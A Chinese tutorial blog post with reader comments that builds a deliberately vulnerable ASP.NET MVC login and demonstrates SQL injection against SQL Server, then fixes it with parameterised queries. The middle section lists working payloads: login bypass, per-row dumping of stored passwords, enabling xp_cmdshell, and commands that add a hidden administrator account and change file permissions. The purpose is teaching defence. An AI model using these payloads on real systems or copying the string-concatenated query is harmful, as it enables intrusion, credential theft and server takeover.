当前位置: 代码迷 >> SQL >> 浅谈SQL注入危险
  详细解决方案

浅谈SQL注入危险

热度:97   发布时间:2016-05-05 09:49:32.0
浅谈SQL注入风险

 

前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查。

 

可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都能登录了。不能这么写!”

 

“呦?小伙子这都知道了?那你说说看 啥是注入?注入只能拿来绕过登录么?”

好吧,竟然在老子面前装逼,看来不给你点儿颜色看看,你还真是不明白天有多高。。

 

于是乎。。哈哈。大清早的,轻松在班里装了一手好逼。。

 

呵呵。不说了,下面我把那个项目重写一下发上来吧。演示一下注入有哪些危害。怎么避免等。

 

(*^_^*) 大牛勿喷。

 

 


 ▁▃▅ 浅谈SQL注入风险 - 一个Login拿下Server ▅▃▁


 

目录:

  1. 数据库
  2. Web项目
  3. 演示注入
  4. 避免
  5. 完了

 

 

  本文主要就是介绍SQL注入基本手法,危害,以及如何解决。

  技术有点渣渣,大牛勿喷。。。。

 

一、数据库。

只创建了一个Admin表,结构如下:

1 create table Admin2 (3   Id int primary key identity(1,1) not null,4   Username nvarchar(50) not null,5   Password nvarchar(50) not null6 )7 go

插入三条测试数据如下:

 

 

 

 

 

二、Web项目

这里为了演示,所以我只搭建了一个简单的三层结构(ASP.NET MVC作为UI,DAL,BLL)以及模型Model:

 

1. Model模型层的AdminInfo.cs:

 1 using System; 2 using System.Collections.Generic; 3 using System.Linq; 4 using System.Text; 5  6 namespace Guying.BlogsDemo.Model 7 { 8     /// <summary> 9     /// Admin 模型10     /// </summary>11     public class AdminInfo12     {13         /// <summary>14         /// 编号15         /// </summary>16         public int Id { get; set; } 17 18         /// <summary>19         /// 账号20         /// </summary>21         public string Username { get; set; }22 23         /// <summary>24         /// 密码25         /// </summary>26         public string Password { get; set; }27     }28 }
AdminInfo.cs

 

2. Web.config添加连接字符串:

1     <connectionStrings>2       <add name="BlogDemo" connectionString="server=.;database=BlogDemo;uid=sa;pwd=LonelyShadow" providerName="System.Data.SqlClient"/>3     </connectionStrings>

 

3. DAL数据层的DBHelper.cs辅助类:

 1 using System; 2 using System.Collections.Generic; 3 using System.Configuration; 4 using System.Linq; 5 using System.Text; 6  7 namespace Guying.BlogsDemo.DAL 8 { 9     /// <summary>10     /// 数据访问辅助类11     /// </summary>12     public class DBHelper13     {14         /// <summary>15         /// BlogDemo 数据库链接字符串16         /// </summary>17         public static readonly string CONNECTIONSTRING = ConfigurationManager.ConnectionStrings["BlogDemo"].ConnectionString;18     }19 }
DBHelper.cs

 

4. DAL数据层的AdminService.cs中写了一个登录的Login方法(SQL存在注入):

 1 using System; 2 using System.Collections.Generic; 3 using System.Linq; 4 using System.Text; 5 using System.Data.SqlClient; 6 using Guying.BlogsDemo.Model; 7  8 namespace Guying.BlogsDemo.DAL 9 {10     /// <summary>11     /// Admin 数据提供12     /// </summary>13     public class AdminService14     {15         /// <summary>16         /// Admin 登录17         /// </summary>18         /// <param name="adminInfo">登录目标对象</param>19         /// <returns>返回结果对象,null为登录失败</returns>20         public AdminInfo Login(AdminInfo adminInfo)21         {22             AdminInfo result = null;23             string sql = string.Format(" select Id,Username,Password from Admin where Username='{0}' and Password='{1}' ", adminInfo.Username, adminInfo.Password);24             using (SqlConnection conn = new SqlConnection(DBHelper.CONNECTIONSTRING))25             {26                 conn.Open();27                 using (SqlCommand comm = new SqlCommand(sql, conn))28                 {29                     using (SqlDataReader reader = comm.ExecuteReader())30                     {31                         if (reader.Read())32                         {33                             result = new AdminInfo()34                             {35                                 Id = (int)reader["Id"],36                                 Username = reader["Username"].ToString(),37                                 Password = reader["Password"].ToString()38                             };39                         }40                     }41                 }42             }43             return result;44         }45     }46 }
AdminService.cs(SQL存在注入)

 

5. BLL业务逻辑的AdminManager.cs:

 1 using System; 2 using System.Collections.Generic; 3 using System.Linq; 4 using System.Text; 5 using Guying.BlogsDemo.DAL; 6 using Guying.BlogsDemo.Model; 7  8 namespace Guying.BlogsDemo.BLL 9 {10     public class AdminManager11     {12         private AdminService _AdminService = null;13 14         public AdminManager()15         {16             if (_AdminService==null)17             {18                 _AdminService = new AdminService();19             }20         }21 22         /// <summary>23         /// Admin 登录24         /// </summary>25         /// <param name="adminInfo">登录目标对象</param>26         /// <returns>返回结果对象,null为登录失败</returns>27         public AdminInfo Login(AdminInfo adminInfo)28         {29             return _AdminService.Login(adminInfo);30         }31     }32 }
AdminManager.cs

 

6. WebUI层的HomeController:

 1 using System; 2 using System.Collections.Generic; 3 using System.Linq; 4 using System.Web; 5 using System.Web.Mvc; 6 using Guying.BlogsDemo.Model; 7 using Guying.BlogsDemo.BLL; 8 using System.Text; 9 10 namespace Guying.BlogsDemo.WebUI.Controllers11 {12     public class HomeController : Controller13     {14         [HttpGet]15         public ActionResult Login()16         {17             return View();18         }19 20         [HttpPost]21         public ActionResult Login(AdminInfo adminInfo)22         {23             AdminManager _AdminManager = new AdminManager();24             adminInfo = _AdminManager.Login(adminInfo);25             JsonResult json = new JsonResult() { Data = adminInfo, ContentEncoding = Encoding.UTF8 };26             return json;27         }28 29     }30 }
WebUI的HomeController.cs

 

7. WebUI的Views/Home/Login:

 1 @model Guying.BlogsDemo.Model.AdminInfo 2  3 @{ 4     ViewBag.Title = "Login"; 5 } 6  7 <link href="~/CSS/home.login.css" rel="stylesheet" /> 8  9 <div class="box-max">10     <h2>Login</h2>11     <hr />12 13     @using (Html.BeginForm())14     {15         @Html.AntiForgeryToken()16         @Html.ValidationSummary(true)17 18         <table>19             <tr>20                 <th>账号:</th>21                 <td>22                     @Html.EditorFor(model => model.Username)23                     @Html.ValidationMessageFor(model => model.Username)24                 </td>25             </tr>26             <tr>27                 <th>28                     密码:29                 </th>30                 <td>31                     @Html.EditorFor(model => model.Password)32                     @Html.ValidationMessageFor(model => model.Password)33                 </td>34             </tr>35             <tr>36                 <td colspan="2" align="center">37                     <input type="submit" value="登 录" />38                 </td>39             </tr>40         </table>41     }42 </div>
Views/Home/Login.cshtml

 

8. WebUIHome/Login的css:

1 *{transition:all 0.3s;}2 body{margin:0px; padding:0px; background-color:#F8F8F8;}3 .box-max{ width:500px; margin:100px auto; border:1px solid #CCC; padding:10px; border-radius:10px; background-color:#FFFFFF;}4 .box-max table{width:100%;}5 .box-max table tr{line-height:40px;}6 .box-max table th{text-align:right;}7 .box-max table td input{width:100%;}8 .box-max table tr:last-child input{width:auto; padding:5px 10px; background-color:#FFF; border:1px solid black; border-radius:5px; cursor:pointer;}9 .box-max table tr:last-child input:hover{background-color:#EFEFEF; text-decoration:underline;}
home.login.css

 

9. 运行结果:

 

 

 

 

 

三、注入

1. 废话不多说、直接测试注入。

  账号: ' or 1=1 -- ,密码(随意): fuck ,结果如下:

 

  你还在认为注入只是为了绕过登录进入网站么?

  那你就错了。

 

 

  竟然返回的是一个包含整个用户信息的Json?!

 

  这也是一个程序设计的严重不当!

  不知道大家前阵子还记得某酒店、某招聘网站,就是因为移动App,被人抓包,截取到了一个request,提交id,则会返回其所有基本信息。

  最后导致千万级数据泄露。

 

  也就是类似于下面这样操作:

 

2. 获取所有用户信息:

  这里需要主键字段,我就不注入检测了,假设我们已经测出了主键为ID。

  那么我们可以登录这样写(密码随意):

  账号: ' or (1=1 and Id=1) -- ,返回结果: {"Id":1,"Username":"admin","Password":"admin1234"} ;

  账号: ' or (1=1 and Id=2) -- ,返回结果: {"Id":2,"Username":"zhangsan","Password":"666666"} ;

  账号: ' or (1=1 and Id=3) -- ,返回结果: {"Id":3,"Username":"lisi","Password":"888888"} 

 

  如果我们写一个程序,循环发送这个请求,将获得的数据保存,那么你的用户数据裤子是不是也要被脱得干干净净了?

 

3. 下一步,经典的开启xp_cmdshell(看不懂的自行Google):

  账号: ' or 1=1; exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'xp_cmdshell',1; reconfigure; -- 

  后面操作的结果就不用看了,也是返回前面登录用户的Json,但是已经成功执行后面的代码了。

 

  然后,xp_cmdshell已经获取了,你还想干什么不行?

 

  这里我只做一个概念性的测试,演示一下其危害。

  根据项目的不同,注入可能还会导致更严重的后果。

 

  当然,你也可以创建文件,添加任务等,例如这样:

    添加隐藏账号,并提升管理员组:

    账号填写: ' or 1=1; exec xp_cmdshell 'echo net user $fuck 123456 /add > D:\a.bat & echo net localgroup administrators $fuck /add >> D:\a.bat & echo exit >> D:\a.bat' -- 

    

    修改权限/修改所有者:

    账号填写: ' or 1=1; exec xp_cmdshell 'icacls D:\a.bat /setowner everyone & icacls D:\a.bat /grant everyone:F' -- 

 

    执行:

    账号填写: ' or 1=1; exec xp_cmdshell 'D: & D:\a.bat' -- 

  

  结果:

  

 

  好吧,上面DOS你懂得。

 

  当然,你还可以通过DOS xxxxxxxxxxxxxxxxxxxxxxxxxxxxx。。。

 

 

 

 

 

四、如何避免

这个应该很简单吧,其实就是我们日常编码习惯的问题。

 

登录SQL可以改成通过SqlParameter传参的方式,返回结果可以设置返回bool来标识成功/失败,修改后的方法如下:

 1 using System; 2 using System.Collections.Generic; 3 using System.Linq; 4 using System.Text; 5 using System.Data.SqlClient; 6 using Guying.BlogsDemo.Model; 7  8 namespace Guying.BlogsDemo.DAL 9 {10     /// <summary>11     /// Admin 数据提供12     /// </summary>13     public class AdminService14     {15         /// <summary>16         /// Admin 登录17         /// </summary>18         /// <param name="adminInfo">登录目标对象</param>19         /// <returns>返回操作结果,true成功 / false失败</returns>20         public bool Login(AdminInfo adminInfo)21         {22             int count = 0;23             string sql = " select count(1) from Admin where [email protected] and [email protected] ";24             using (SqlConnection conn = new SqlConnection(DBHelper.CONNECTIONSTRING))25             {26                 conn.Open();27                 using (SqlCommand comm = new SqlCommand(sql, conn))28                 {29                     comm.Parameters.AddRange(new[] { new SqlParameter("@Username", adminInfo.Username), new SqlParameter("@Password", adminInfo.Password) });30                     count = (int)comm.ExecuteScalar();31                 }32             }33             return count > 0;34         }35     }36 }
修改后的登录方法

 

  平时写代码,多注意下这些问题。

 

  当然,数据库的存储过程也不是没卵用的咸鱼,记得多用。

 

 

 

 

 

五、 没了

就是演示一下危害,什么年代了都,不应该出现注入的问题了吧。

 

毕竟每个项目不一样,指不定注入还会导致什么问题呢。

 

最后。。。。。。。。。。。大牛勿喷。么么哒~

 

 

 

19楼wangjun8868
一般的ORM 就能防注入,EF也是
18楼DataCool
张老师可是淫才啊,装得一手好逼啊。开个玩笑,幸苦了。推荐一下
Re: 张董
@DataCool,这话说的。。损一句再给个糖呗~,哈哈。,
17楼单曲循环ㄋ
我想说。博客主题UI写的不错。,
16楼microtry
[email protected],默认值为fasle,,然后直接用EXISTS判断,IF EXISTS (SELECT * FROM Admin WHERE.....) SET @Checked=1;
Re: 张董
@microtry,+1
15楼dingxiaoyue
mark
14楼龙飞%凤舞
#39; or (1=1 and Id=1) --,为什么不写成#39; or (1=1 ) --,这样不是可以把所有用户信息都查询出来吗,干嘛需要一个循环呢?
Re: 张董
@龙飞%凤舞,嗯哪,可是因为登录的Login方法,Reader的时候,用的if,只会返回一条数据。
13楼维依
基础知识,每一个web开发者都应该注意的问题,赞一个。
12楼Finersoft
老师的博客名字不要老晃,感觉老是被吸引了
Re: 张董
@Finersoft,
11楼冲杀
1. 如果不使用存储过程的话。只给datareader和datawriter权限的账户做连接字符串。,2. 谁写登录会对数据库信息原样返回?并且还返回到客户端。,,我自己发布系统之类的,SQL帐号会把权限调到最低。
10楼拾梦小侠
虽然是很基础的东西,但是对于初学者还是不错的,赞...
9楼失落的野火
mark
8楼NewMarKar
打开你的页面放置于前台时, 你那几个愰来愰去的东西真TM耗CPU.
Re: 张董
@NewMarKar,之前不是想的,装逼要首先从视觉入手嘛。,呵呵 开个玩笑,
7楼小小龙儿
66666张董好6
Re: 张董
@小小龙儿,
6楼掬一把月
的确是基础知识了,常识
5楼无尽的数字眩晕症
刚学sql,基础部分,还没学到sql嵌入一般程序中。没想到还可以这么用 -!
Re: 张董
@无尽的数字眩晕症,
4楼chenhp
Id int primary key identity(1,1) not null,
Re: 张董
@chenhp,
3楼蓝沙奇缘
给楼主UI赞一个!
Re: 张董
@蓝沙奇缘,
2楼单车男
不错,例子很形象
Re: 张董
@HCocoa,。不是吧。别闹 没事儿发个随笔 竟然还能差点儿侵权不成?
Re: HCocoa
@张董,开个玩笑:P,博主的性格挺好玩的
  相关解决方案